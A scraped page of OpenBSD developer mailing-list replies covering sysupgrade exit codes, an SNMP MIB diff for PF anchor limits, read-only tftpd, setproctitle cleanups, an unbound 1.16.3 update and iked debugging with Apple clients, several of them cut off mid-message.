1698.73 MHz, 06-8e-0c cpu3: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,SGX,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,MPX,RDSEED,ADX,SMAP,CLFLUSHOPT,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,XSAVEC,XGETBV1,XSAVES cpu3: 32KB 64b/line 8-way D-cache, 32KB 64b/line 8-way I-cache, 256KB 64b/line 4-way L2 cache, 8MB 64b/line 16-way L3 cache cpu3: smt 0, core
Re: sysupgrade: exit 1 instead of exit 0 when ending early
On 2022/10/11 03:44, Mikolaj Kucharski wrote: > On Mon, Oct 10, 2022 at 11:17:32AM -0600, Theo de Raadt wrote: > > > Any non-zero value indicates an error, that would include 2. You are > > marking this as an error, when it isn't. > > > > You think this will help your scripting. Do you not realize the proposed > > changes will break someone else's scripting? > > I don't insist on this approach. I just propose a patch. > > I do recognize that it is going to break someone else's workflow. And relying on it also means that your own scripts won't work on older versions, whereas if you just check for /bsd.upgrade then they'll work in both cases (and won't break things for anyone else who uses "set -e" in their sysupgrade wrapper scripts).
Re: snmp: Add support for PF_LIMIT_ANCHORS
On 2022/10/06 18:20, Martijn van Duren wrote:
> Just before lock mbuhl pointed out a new limit placed in pf, not
> exported yet over snmp. Here's a diff to add support for
> PF_LIMIT_ANCHORS.
>
> the OPENBSD-PF-MIB.txt DESCRIPTION is adapted from pfLimitMaxTables.
> The snmp{,d} parts are there just for pretty printing.
>
> OK?
>
> martijn@
>
> Index: share/snmp/OPENBSD-PF-MIB.txt
> ===
> RCS file: /cvs/src/share/snmp/OPENBSD-PF-MIB.txt,v
> retrieving revision 1.7
> diff -u -p -r1.7 OPENBSD-PF-MIB.txt
> --- share/snmp/OPENBSD-PF-MIB.txt 23 Mar 2021 19:37:51 - 1.7
> +++ share/snmp/OPENBSD-PF-MIB.txt 6 Oct 2022 16:14:32 -
> @@ -493,6 +493,14 @@ pfLimitMaxTableEntries OBJECT-TYPE
> tables."
> ::= { pfLimits 5 }
>
> +pfLimitAnchors OBJECT-TYPE
> + SYNTAX Unsigned32
> + MAX-ACCESS read-only
> + STATUS current
> + DESCRIPTION
> + "The maximum number of anchors that can be created as part of the
> + active ruleset."
> + ::= { pfLimits 6 }
>
> -- pfTimeouts
Needs something like this on top; otherwise OK (and smilint is happy)
Index: OPENBSD-PF-MIB.txt
===
RCS file: /cvs/src/share/snmp/OPENBSD-PF-MIB.txt,v
retrieving revision 1.7
diff -u -p -r1.7 OPENBSD-PF-MIB.txt
--- OPENBSD-PF-MIB.txt 23 Mar 2021 19:37:51 - 1.7
+++ OPENBSD-PF-MIB.txt 6 Oct 2022 19:37:41 -
@@ -36,7 +36,7 @@ IMPORTS
FROM SNMPv2-CONF;
pfMIBObjects MODULE-IDENTITY
-LAST-UPDATED "202103231933Z"
+LAST-UPDATED "202210061936Z"
ORGANIZATION "OpenBSD"
CONTACT-INFO "
Author: Joel Knight
@@ -46,6 +46,8 @@ pfMIBObjects MODULE-IDENTITY
DESCRIPTION "The MIB module for gathering information from
OpenBSD's packet filter.
"
+REVISION "202210061936Z"
+DESCRIPTION "Add counter exporting the maximum number of anchors that can
be created"
REVISION "202103231933Z"
DESCRIPTION "Use DisplayString/SnmpAdminString not OCTET STRING where
appropriate"
REVISION "201506091728Z"
>
> Index: usr.bin/snmp/mib.h
> ===
> RCS file: /cvs/src/usr.bin/snmp/mib.h,v
> retrieving revision 1.10
> diff -u -p -r1.10 mib.h
> --- usr.bin/snmp/mib.h23 Mar 2021 22:05:21 - 1.10
> +++ usr.bin/snmp/mib.h6 Oct 2022 16:14:32 -
> @@ -580,6 +580,7 @@
> #define MIB_pfLimitFragments MIB_pfLimits, 3
> #define MIB_pfLimitMaxTables MIB_pfLimits, 4
> #define MIB_pfLimitMaxTableEntries MIB_pfLimits, 5
> +#define MIB_pfLimitAnchors MIB_pfLimits, 6
> #define MIB_pfTimeouts MIB_pfMIBObjects, 7
> #define MIB_pfTimeoutTcpFirstMIB_pfTimeouts, 1
> #define MIB_pfTimeoutTcpOpening MIB_pfTimeouts, 2
> @@ -1217,6 +1218,7 @@
> { MIBDECL(pfLimitFragments) }, \
> { MIBDECL(pfLimitMaxTables) }, \
> { MIBDECL(pfLimitMaxTableEntries) },\
> + { MIBDECL(pfLimitAnchors) },\
> { MIBDECL(pfTimeouts) },\
> { MIBDECL(pfTimeoutTcpFirst) }, \
> { MIBDECL(pfTimeoutTcpOpening) }, \
> Index: usr.sbin/snmpd/mib.h
> ===
> RCS file: /cvs/src/usr.sbin/snmpd/mib.h,v
> retrieving revision 1.41
> diff -u -p -r1.41 mib.h
> --- usr.sbin/snmpd/mib.h 19 Jan 2022 10:26:37 - 1.41
> +++ usr.sbin/snmpd/mib.h 6 Oct 2022 16:14:32 -
> @@ -550,6 +550,7 @@
> #define MIB_pfLimitFragments MIB_pfLimits, 3
> #define MIB_pfLimitMaxTables MIB_pfLimits, 4
> #define MIB_pfLimitMaxTableEntries MIB_pfLimits, 5
> +#define MIB_pfLimitAnchors MIB_pfLimits, 6
> #define MIB_pfTimeouts MIB_pfMIBObjects, 7
> #define MIB_pfTimeoutTcpFirstMIB_pfTimeouts, 1
> #define MIB_pfTimeoutTcpOpening MIB_pfTimeouts, 2
> @@ -1126,6 +1127,7 @@
> { MIBDECL(pfLimitFragments) }, \
> { MIBDECL(pfLimitMaxTables) }, \
> { MIBDECL(pfLimitMaxTableEntries) },\
> + { MIBDECL(pfLimitAnchors) },\
> { MIBDECL(pfTimeouts) },\
> { MIBDECL(pfTimeoutTcpFirst) }, \
> { MIBDECL(pfTimeoutTcpOpening) }, \
> Index: libexec/snmpd/snmpd_metrics/mib.c
> ===
> RCS file: /cvs/src/libexec/snmpd/snmpd_metrics/mib.c,v
> retrieving revision 1.1.1.1
> diff -u -p -r1.1.1.1 mib.c
> --- libexec/snmpd/snmpd_metrics/mib.c 1 Sep 2022 14:20:34 - 1.1.1.1
> +++ libexec/snmpd/snmpd_metrics/mib.c 6 Oct 2022 16:14:32 -
> @@ -146,6 +146,7
Re: tftpd: add -R for read-only mode/reduced pledges
On 2022/10/04 10:36, David Gwynne wrote:
> On Sun, Oct 02, 2022 at 06:32:04PM +, Klemens Nanni wrote:
> > diskless(8) just needs tftpd(8) to deliver files, none of the possibly
> > untrusted clients are supposed to ever write anything.
> >
> > Either way, even when run without -c, a single file writable by _tftpd
> > might be enough for a malicious client to fill up the server's disk.
> >
> > A proper read-only mode ("stdio rpath dns inet") seems much safer.
>
> agreed. i'm ok with this diff, but it's worth asking if we can make the
> default read-only and ask people to opt in for write (and create) before
> this specific diff goes in. ie, read-only be default, '-w' to enable
> write mode, '-c' to enable write+create?
yes please!
Re: Remove some unnecessary setproctitle(3) format strings
These programs seem OK as-is, they are following the advice in
https://man.openbsd.org/setproctitle.3#CAVEATS
On 2022/09/26 18:06, Josiah Frentsos wrote:
> Index: sbin/dhcpleased/engine.c
> ===
> RCS file: /cvs/src/sbin/dhcpleased/engine.c,v
> retrieving revision 1.38
> diff -u -p -r1.38 engine.c
> --- sbin/dhcpleased/engine.c 5 May 2022 14:44:59 - 1.38
> +++ sbin/dhcpleased/engine.c 26 Sep 2022 21:43:28 -
> @@ -197,7 +197,7 @@ engine(int debug, int verbose)
> if (unveil(NULL, NULL) == -1)
> fatal("unveil");
>
> - setproctitle("%s", "engine");
> + setproctitle("engine");
> log_procinit("engine");
>
> if (setgroups(1, >pw_gid) ||
> Index: sbin/dhcpleased/frontend.c
> ===
> RCS file: /cvs/src/sbin/dhcpleased/frontend.c,v
> retrieving revision 1.30
> diff -u -p -r1.30 frontend.c
> --- sbin/dhcpleased/frontend.c14 Jul 2022 15:23:09 - 1.30
> +++ sbin/dhcpleased/frontend.c26 Sep 2022 21:43:29 -
> @@ -151,7 +151,7 @@ frontend(int debug, int verbose)
> if (unveil(NULL, NULL) == -1)
> fatal("unveil");
>
> - setproctitle("%s", "frontend");
> + setproctitle("frontend");
> log_procinit("frontend");
>
> if ((ioctlsock = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0)) == -1)
> Index: sbin/slaacd/engine.c
> ===
> RCS file: /cvs/src/sbin/slaacd/engine.c,v
> retrieving revision 1.84
> diff -u -p -r1.84 engine.c
> --- sbin/slaacd/engine.c 26 Aug 2022 00:02:08 - 1.84
> +++ sbin/slaacd/engine.c 26 Sep 2022 21:43:29 -
> @@ -372,7 +372,7 @@ engine(int debug, int verbose)
> if (unveil(NULL, NULL) == -1)
> fatal("unveil");
>
> - setproctitle("%s", "engine");
> + setproctitle("engine");
> log_procinit("engine");
>
> if (setgroups(1, >pw_gid) ||
> Index: sbin/slaacd/frontend.c
> ===
> RCS file: /cvs/src/sbin/slaacd/frontend.c,v
> retrieving revision 1.64
> diff -u -p -r1.64 frontend.c
> --- sbin/slaacd/frontend.c12 Jul 2022 16:54:59 - 1.64
> +++ sbin/slaacd/frontend.c26 Sep 2022 21:43:29 -
> @@ -153,7 +153,7 @@ frontend(int debug, int verbose)
> if (unveil(NULL, NULL) == -1)
> fatal("unveil");
>
> - setproctitle("%s", "frontend");
> + setproctitle("frontend");
> log_procinit("frontend");
>
> if ((ioctlsock = socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0)) == -1)
> Index: sbin/unwind/frontend.c
> ===
> RCS file: /cvs/src/sbin/unwind/frontend.c,v
> retrieving revision 1.73
> diff -u -p -r1.73 frontend.c
> --- sbin/unwind/frontend.c13 Mar 2022 15:14:01 - 1.73
> +++ sbin/unwind/frontend.c26 Sep 2022 21:43:30 -
> @@ -207,7 +207,7 @@ frontend(int debug, int verbose)
> if (chdir("/") == -1)
> fatal("chdir(\"/\")");
>
> - setproctitle("%s", "frontend");
> + setproctitle("frontend");
> log_procinit("frontend");
>
> if (setgroups(1, >pw_gid) ||
> Index: sbin/unwind/resolver.c
> ===
> RCS file: /cvs/src/sbin/unwind/resolver.c,v
> retrieving revision 1.155
> diff -u -p -r1.155 resolver.c
> --- sbin/unwind/resolver.c12 Mar 2022 14:35:29 - 1.155
> +++ sbin/unwind/resolver.c26 Sep 2022 21:43:30 -
> @@ -368,7 +368,7 @@ resolver(int debug, int verbose)
> if ((pw = getpwnam(UNWIND_USER)) == NULL)
> fatal("getpwnam");
>
> - setproctitle("%s", "resolver");
> + setproctitle("resolver");
> log_procinit("resolver");
>
> if (setgroups(1, >pw_gid) ||
> Index: usr.bin/ssh/sshd.c
> ===
> RCS file: /cvs/src/usr.bin/ssh/sshd.c,v
> retrieving revision 1.591
> diff -u -p -r1.591 sshd.c
> --- usr.bin/ssh/sshd.c17 Sep 2022 10:34:29 - 1.591
> +++ usr.bin/ssh/sshd.c26 Sep 2022 21:43:34 -
> @@ -492,7 +492,7 @@ privsep_preauth(struct ssh *ssh)
> set_log_handler(mm_log_handler, pmonitor);
>
> privsep_preauth_child();
> - setproctitle("%s", "[net]");
> + setproctitle("[net]");
> if (box != NULL)
> ssh_sandbox_child(box);
>
> @@ -1627,7 +1627,7 @@ main(int ac, char **av)
> if ((cfg = sshbuf_new()) == NULL)
> fatal_f("sshbuf_new failed");
> if (rexeced_flag) {
> - setproctitle("%s", "[rexeced]");
> + setproctitle("[rexeced]");
> recv_rexec_state(REEXEC_CONFIG_PASS_FD, cfg);
> if (!debug_flag) {
> startup_pipe =
unbound 1.16.3
Released today so I haven't been able to give it much testing yet... Index: doc/Changelog === RCS file: /cvs/src/usr.sbin/unbound/doc/Changelog,v retrieving revision 1.45 diff -u -p -r1.45 Changelog --- doc/Changelog 29 Aug 2022 16:05:00 - 1.45 +++ doc/Changelog 21 Sep 2022 12:41:57 - @@ -1,5 +1,5 @@ -7 February 2022: Wouter - - Fix that TCP interface does not use TLS when TLS is also configured. +21 September 2022: Wouter + - Patch for CVE-2022-3204 Non-Responsive Delegation Attack. 1 August 2022: Wouter - Fix the novel ghost domain issues CVE-2022-30698 and CVE-2022-30699. Index: config.guess === RCS file: /cvs/src/usr.sbin/unbound/config.guess,v retrieving revision 1.12 diff -u -p -r1.12 config.guess --- config.guess7 Jun 2022 15:42:53 - 1.12 +++ config.guess21 Sep 2022 12:41:57 - @@ -4,7 +4,7 @@ # shellcheck disable=SC2006,SC2268 # see below for rationale -timestamp='2022-05-25' +timestamp='2022-08-01' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by @@ -1036,7 +1036,7 @@ EOF k1om:Linux:*:*) GUESS=$UNAME_MACHINE-unknown-linux-$LIBC ;; -loongarch32:Linux:*:* | loongarch64:Linux:*:* | loongarchx32:Linux:*:*) +loongarch32:Linux:*:* | loongarch64:Linux:*:*) GUESS=$UNAME_MACHINE-unknown-linux-$LIBC ;; m32r*:Linux:*:*) Index: config.sub === RCS file: /cvs/src/usr.sbin/unbound/config.sub,v retrieving revision 1.11 diff -u -p -r1.11 config.sub --- config.sub 23 Feb 2022 12:04:05 - 1.11 +++ config.sub 21 Sep 2022 12:41:57 - @@ -4,7 +4,7 @@ # shellcheck disable=SC2006,SC2268 # see below for rationale -timestamp='2022-01-03' +timestamp='2022-08-01' # This file is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by @@ -1207,7 +1207,7 @@ case $cpu-$vendor in | k1om \ | le32 | le64 \ | lm32 \ - | loongarch32 | loongarch64 | loongarchx32 \ + | loongarch32 | loongarch64 \ | m32c | m32r | m32rle \ | m5200 | m68000 | m680[012346]0 | m68360 | m683?2 | m68k \ | m6811 | m68hc11 | m6812 | m68hc12 | m68hcs12x \ Index: configure === RCS file: /cvs/src/usr.sbin/unbound/configure,v retrieving revision 1.47 diff -u -p -r1.47 configure --- configure 29 Aug 2022 16:04:59 - 1.47 +++ configure 21 Sep 2022 12:41:57 - @@ -1,6 +1,6 @@ #! /bin/sh # Guess values for system-dependent variables and create Makefiles. -# Generated by GNU Autoconf 2.71 for unbound 1.16.2. +# Generated by GNU Autoconf 2.71 for unbound 1.16.3. # # Report bugs to https://github.com/NLnetLabs/unbound/issues>. # @@ -622,8 +622,8 @@ MAKEFLAGS= # Identity of this package. PACKAGE_NAME='unbound' PACKAGE_TARNAME='unbound' -PACKAGE_VERSION='1.16.2' -PACKAGE_STRING='unbound 1.16.2' +PACKAGE_VERSION='1.16.3' +PACKAGE_STRING='unbound 1.16.3' PACKAGE_BUGREPORT='unbound-b...@nlnetlabs.nl or https://github.com/NLnetLabs/unbound/issues' PACKAGE_URL='' @@ -1503,7 +1503,7 @@ if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF -\`configure' configures unbound 1.16.2 to adapt to many kinds of systems. +\`configure' configures unbound 1.16.3 to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... @@ -1569,7 +1569,7 @@ fi if test -n "$ac_init_help"; then case $ac_init_help in - short | recursive ) echo "Configuration of unbound 1.16.2:";; + short | recursive ) echo "Configuration of unbound 1.16.3:";; esac cat <<\_ACEOF @@ -1812,7 +1812,7 @@ fi test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF -unbound configure 1.16.2 +unbound configure 1.16.3 generated by GNU Autoconf 2.71 Copyright (C) 2021 Free Software Foundation, Inc. @@ -2469,7 +2469,7 @@ cat >config.log <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. -It was created by unbound $as_me 1.16.2, which was +It was created by unbound $as_me 1.16.3, which was generated by GNU Autoconf 2.71. Invocation command line was $ $0$ac_configure_args_raw @@ -3233,11 +3233,11 @@ UNBOUND_VERSION_MAJOR=1 UNBOUND_VERSION_MINOR=16 -UNBOUND_VERSION_MICRO=2 +UNBOUND_VERSION_MICRO=3 LIBUNBOUND_CURRENT=9 -LIBUNBOUND_REVISION=18
Re: iked problems with Apple clients in 7.1
On 2022/05/21 17:04, Tobias Heider wrote: > On Sat, May 21, 2022 at 12:51:19PM +0100, Stuart Henderson wrote: > > On 2022/05/21 13:44, Tobias Heider wrote: > > > On Fri, May 20, 2022 at 03:41:12PM +0100, Stuart Henderson wrote: > > > > I ran into problems with Apple clients failing to connect to > > > > iked after updating a machine to 7.1, introduced by > > > > https://github.com/openbsd/src/commit/e3f5cf2ee26929d75dc2df9e86d97c36b2a94268 > > > > > > > > spi=0xac3d46687441f957: recv IKE_SA_INIT req 0 peer > > > > rrr.rrr.rrr.rr:49436 local lll.ll.lll.lll:500, 308 bytes, policy > > > > 'default' > > > > spi=0xac3d46687441f957: send IKE_SA_INIT res 0 peer > > > > rrr.rrr.rrr.rr:49436 local lll.ll.lll.lll:500, 341 bytes > > > > spi=0xac3d46687441f957: recv IKE_AUTH req 1 peer rrr.rrr.rrr.rr:64892 > > > > local lll.ll.lll.lll:4500, 368 bytes, policy 'default' > > > > policy_test: localid mismatch > > > > spi=0xac3d46687441f957: ikev2_ike_auth_recv: no compatible policy found > > > > spi=0xac3d46687441f957: ikev2_send_auth_failed: authentication failed > > > > for > > > > spi=0xac3d46687441f957: send IKE_AUTH res 1 peer rrr.rrr.rrr.rr:64892 > > > > local lll.ll.lll.lll:4500, 80 bytes, NAT-T > > > > spi=0xac3d46687441f957: sa_free: authentication failed > > > > > > > > I don't have full details of config done on the other side nor any > > > > fruit-based phones to test from myself, did anyone already run into this > > > > and figure out a way around it? > > > > > > Hey Stuart, > > > > > > I haven't seen this before but I have a theory. > > > Based on the commit you pointed out the problem is probably the > > > `dstid kk.kkk.kkk.kkk` line which was ignored before this change. > > > > > > This should be easy to check without access to the other device if > > > you enable verbose logging on your server and look for "ikev2_pld_id" > > > above the error. I suspect that the ID sent by your apple peer might > > > actually be a different one than kk.kkk.kkk.kkk. > > > > > > Another thing you could try is just removing the dstid part and see > > > if that works. > > > > Oh sorry I wasn't clear about which one the apple was using - the one with > > "kk.kkk.kkk.kkk" is a lan-to-lan configuration (fixed IP on both endpoints) > > - > > the apple is expected to be using the first "from 0.0.0.0/0 to dynamic" one > > which doesn't have any dstid set, and that's the only one where the IP > > matches. > > Oh, makes sense. I think it may still be related to the IDs, so checking if > ikev2_pld_id matches what you expect for srcid might be a good start. > Maybe the apple client is sending something different than > "" > in their dstid. I was able to get someone to do a couple of tests (after accidentally updating that machine and running into the problem again..) - debug log from iked shows 2022-09-21T09:10:44.370Z vpn2 iked[9682]: ikev2_pld_payloads: decrypted payload IDi nextpayload NOTIFY critical 0x00 length 28 2022-09-21T09:10:44.370Z vpn2 iked[9682]: ikev2_pld_id: id FQDN/vpn2.xxx length 24 2022-09-21T09:10:44.370Z vpn2 iked[9682]: ikev2_pld_payloads: decrypted payload NOTIFY nextpayload IDr critical 0x00 length 8 2022-09-21T09:10:44.370Z vpn2 iked[9682]: ikev2_pld_notify: protoid NONE spisize 0 type INITIAL_CONTACT 2022-09-21T09:10:44.370Z vpn2 iked[9682]: ikev2_pld_payloads: decrypted payload IDr nextpayload CP critical 0x00 length 12 2022-09-21T09:10:44.370Z vpn2 iked[9682]: ikev2_pld_id: id FQDN/user length 8 ... 2022-09-21T09:10:44.371Z vpn2 iked[9682]: ikev2_resp_recv: NAT-T message received, updated SA 2022-09-21T09:10:44.371Z vpn2 iked[9682]: sa_stateok: SA_INIT flags 0x, require 0x 2022-09-21T09:10:44.371Z vpn2 iked[9682]: spi=0xbb3b1aa559598982: sa_state: SA_INIT -> EAP 2022-09-21T09:10:44.371Z vpn2 iked[9682]: policy_lookup: peerid 'vpn2.xxx' 2022-09-21T09:10:44.371Z vpn2 iked[9682]: policy_lookup: localid 'user' 2022-09-21T09:10:44.372Z vpn2 iked[9682]: policy_test: localid mismatch 2022-09-21T09:10:44.372Z vpn2 iked[9682]: spi=0xbb3b1aa559598982: ikev2_ike_auth_recv: no compatible policy found 2022-09-21T09:10:44.372Z vpn2 iked[9682]: spi=0xbb3b1aa559598982: ikev2_send_auth_failed: authentication failed for Which, given that the apple device is initiator, suggests that they're sending the IDs the wrong way round. I don't know whether that's a bug Apple-side or a config issue, either way it's going to be hard to fix as I d
